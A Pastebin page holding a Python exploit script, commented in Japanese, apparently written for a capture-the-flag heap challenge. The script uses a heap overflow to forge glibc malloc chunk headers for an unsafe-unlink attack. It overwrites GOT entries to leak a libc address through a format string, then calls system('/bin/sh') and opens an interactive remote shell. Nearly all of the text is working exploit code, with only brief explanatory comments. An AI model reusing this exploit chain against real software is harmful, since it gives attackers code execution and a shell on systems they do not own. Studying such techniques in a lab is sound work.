Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import socket, struct, telnetlib
- ###################### useful function definition
- def sock(remoteip, remoteport):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((remoteip, remoteport))
- return s, s.makefile('rw', bufsize=0)
- def read_until(f, delim):
- data = ''
- while not data.endswith(delim):
- data += f.read(1)
- return data
- def pQ(a):
- return struct.pack("<Q",a)
- def shell(s):
- t = telnetlib.Telnet()
- t.sock = s
- t.interact()
- ###################### menu function
- def alloc_mem(size):
- f.write("1\n")
- f.write(str(size)+"\n")
- index = int(f.readline())
- assert f.readline().strip() == 'OK'
- return index
- def write_mem(idx, data):
- size = len(data)
- f.write("2\n")
- f.write(str(idx)+"\n")
- f.write(str(size)+"\n")
- f.write(data)
- assert f.readline().strip() == 'OK'
- def free_mem(idx):
- f.write("3\n")
- f.write(str(idx)+"\n")
- assert f.readline().strip() == 'OK'
- def strlen_mem(idx):
- f.write("4\n")
- f.write(str(idx)+"\n")
- r = f.readline()
- return r
- ###################### main
- s, f = sock("localhost", 3573)
- #s, f = sock("katagaitai.orz.hm", 3333)
- strlen_got = 0x602030
- printf_plt = 0x4007A0
- victim = 0x602158 # idx3
- """
- 基本方針
- glibcのfree()内で起きる,連続したバッファの結合時に呼ばれるunlink()では,
- P->FD->BK == P,P->BK->FD == P というチェックがある.
- http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1411
- ※昔のDoug Lea's malloc()では,このチェックがなかったのでunlink攻撃が流行ったが,
- 2004年にこの確認処理が入ったことにより,unlink攻撃はできなくなった.
- しかし,条件を満たせばこのチェックを回避することが可能である,というのが
- 今回の問題を解く上で重要なポイントとなっている.
- 尚,mallocで確保されたポインタがbss上にある,というのがその条件である.
- さてこのunlink()内のチェックを回避するには,PをさすポインタXが必要である.
- P->FDがX-0x18を,とP->BKがX-0x10を指すよう仕込んでおけば良い.
- この状態でPに連接した領域(PREV_INUSE==0)をfree()すれば,unlink()が呼ばれることになるが,
- PではなくXをunlinkすることになるので,繋ぎ変えによって,
- コントロールできないはずのXの中身を書き換える事ができる.
- 本来Pを指すポインタXは分からないはずだが,今回はbssという固定アドレスにあるので,それを利用する.
- """
- # どうせ自由に上書きできるので,サイズは適当で良い.
- alloc_mem(0x400) # idx1 : dummy
- alloc_mem(0x400) # idx2 : dummy
- alloc_mem(0x400) # idx3 : victim
- alloc_mem(0x10) # idx4 :
- alloc_mem(0x100) # idx5 : free() target
- alloc_mem(0x10) # idx6 :
- """
- http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1108
- 1108 struct malloc_chunk {
- 1109
- 1110 INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
- 1111 INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
- 1112
- 1113 struct malloc_chunk* fd; /* double links -- used only if free. */
- 1114 struct malloc_chunk* bk;
- 1115
- 1116 /* Only used for large blocks: pointer to next larger size. */
- 1117 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
- 1118 struct malloc_chunk* bk_nextsize;
- 1119 };
- """
- # idx3は解放されていないが,解放されているかのようなデータ構造にしておく.これがPである.
- # 尚,idx3自身のmalloc_chunk(ヘッダのこと)は直上に存在するが,それは特に上書きしなくて良い.
- # 何故なら,bssから参照されているこのアドレス自身が,malloc_chunkとみなされるように扱うからである.
- bof = pQ(0x400+0x10) # prev_size # idx2は0x400,idx3のヘッダが0x10
- bof += pQ(0x400|1) # size|PREV_INUSE # 自分のサイズは0x400,idx2は使用中
- bof += pQ(victim-0x18) # fd # 最終的にfd->bkが参照されるので0x18引いておく
- bof += pQ(victim-0x10) # bk # 最終的にbk->fdが参照されるので0x10引いておく
- write_mem(3, bof)
- # idx4でBOFし,idx5,idx6の中身を上書き
- bof = "A"*16 # # idx4を埋める
- bof += pQ(0x400+0x20) # prev_size # idx3(0x400)とidx4(0x10+0x10)はひとつの解放済み領域と認識させる
- bof += pQ(0x100) # size|PREV_INUSE # 自分のサイズは0x100(fastbinsに登録されない様,160バイト以上なら何でも良い),idx3~4は使用していないことを示す
- bof += pQ(0x0) # fd # ↑
- bof += pQ(0x0) # bk # |
- bof += pQ(0xAAAA)*29 # data # | 0x100バイト
- bof += pQ(0x21) # size|PREV_INUSE # ↓ # sizeは次の領域のサイズを表す
- bof += pQ(0xBBBB)*4 # data # ↑
- bof += pQ(0x21) # size|PREV_INUSE # ↓ 0x20バイト # sizeは次の領域のサイズを表す
- write_mem(4, bof)
- free_mem(5)
- # idx3にstrlen@gotを上書き
- write_mem(3, pQ(strlen_got))
- # idx0にprintf@pltを上書き
- write_mem(0, pQ(printf_plt))
- # printfの引数を読み込む
- #print write_mem(1, "%p,"*50 + "\n\0")
- write_mem(1, "%41$p\n\0")
- # strlenするとprintfになる
- r = strlen_mem(1)
- f.readline().strip() # '...'
- _libc_start_main = int(r,16)
- print "stack: libc_start_main", hex(_libc_start_main)
- # calc system
- """
- $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |less
- 0000000000021dd0 <__libc_start_main>:
- ...
- 21ec3: ff d0 call rax
- 21ec5: 89 c7 mov edi,eax
- $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |grep 'system>:'
- 0000000000046530 <__libc_system>:
- """
- libc_base = _libc_start_main - 0x21ec5
- libc_system = libc_base + 0x46530 # local
- print "system:", hex(libc_system)
- # strlen@gotにsystem@libcを書き込む
- write_mem(0, pQ(libc_system))
- # /bin/shを書き込む
- write_mem(1, "/bin/sh\0\n\0")
- # call system("/bin/sh")
- strlen_mem(1)
- print "got shell :)"
- shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement